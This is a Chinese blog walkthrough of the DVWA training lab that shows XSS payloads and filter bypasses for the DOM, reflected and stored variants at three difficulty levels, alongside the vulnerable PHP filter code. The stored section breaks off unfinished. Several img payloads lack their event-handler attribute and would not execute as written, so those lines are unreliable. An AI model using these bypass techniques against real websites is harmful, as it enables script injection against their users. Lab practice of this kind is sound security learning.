XSS(DOM)


LOW
这个难度极其简单,直接url注入一个scrip的命令
?default=<script>alert('hacked')</script>

DVWA 三个等级的XSS

medium

首先,用low的情况加个大小写混写,看看情况。

?default=<scrIPT>alert("hack")</SCRipt>

结果:
DVWA 三个等级的XSS结果直接把我的代码给去掉了,再猜一下别的代码。

?default=<img src=0 "alert('hacked')"/>

结果:
DVWA 三个等级的XSS看来,应该是将script过滤了,但是并未弹窗,让我看一下代码。

DVWA 三个等级的XSS可以看出,输入的命令被包含到了value中,那就把value闭合一下看看。

?default="><img src=0 "alert('hacked')"/>

仍未弹窗,看一下情况
DVWA 三个等级的XSS
这里只有开头字符被提取。看一下提取的方法:
DVWA 三个等级的XSS这里只看到了对option处理,但是不知道为什么单单闭合option标签仍会无效。
既然如此,便用干脆将整个select都闭合

?default="></option></select><img src=0 "alert('hacked')"/>

DVWA 三个等级的XSS成功。
那么来看看php代码

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}

?> 

果然,是过滤了script

high
这个难度让我有点慌,先看一下php代码吧
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?> 

。。。。。。本来已经放弃了,不过突然想到一个东西,让我试试

?default=English#<script>alert('hacked')</script>

DVWA 三个等级的XSS成功。


XSS (Reflected)

low
low级别,直接用script代码
<script>alert('hacked')</script>

DVWA 三个等级的XSSEZ

medium
先是script看一下过滤。
<scripT>alert(1)</scripT>

DVWA 三个等级的XSS…好吧,看来只是过滤了script直接大小写绕过
php代码:

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 
high
惯例,先script代码看看过滤
<scriPt>alert('hacked')</sCript>

DVWA 三个等级的XSS
果然,被过滤了。那么试一试img

<img src=1 "alert('hacked')">

DVWA 三个等级的XSS成功,那么php应该只是过滤了scrip标签。

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 

果然,是用了正则表达式


XSS (Stored)

low
这个难度肯定是不设防,直接上
<script>alert('hacked')</script>

成功:
DVWA 三个等级的XSS

medium

老样子,先试一试过滤
DVWA 三个等级的XSS结果:DVWA 三个等级的XSS
看来是不区分大小写的过滤,那试试双写绕过?
DVWA 三个等级的XSSDVWA 三个等级的XSS
好吧,看来不行啊。。。虽然想试试三写,不过先看一下name能不能搞一搞
DVWA 三个等级的XSS看上去限制了输入啊。。。让我抓包改一下

相关文章:

  • 2022-01-01
  • 2021-11-09
  • 2021-07-21
  • 2021-10-11
  • 2021-09-04
  • 2021-10-06
  • 2021-11-18
  • 2022-12-23
猜你喜欢
  • 2022-12-23
  • 2021-12-11
  • 2021-05-26
  • 2022-12-23
  • 2021-09-01
  • 2021-10-27
  • 2021-08-07
相关资源
相似解决方案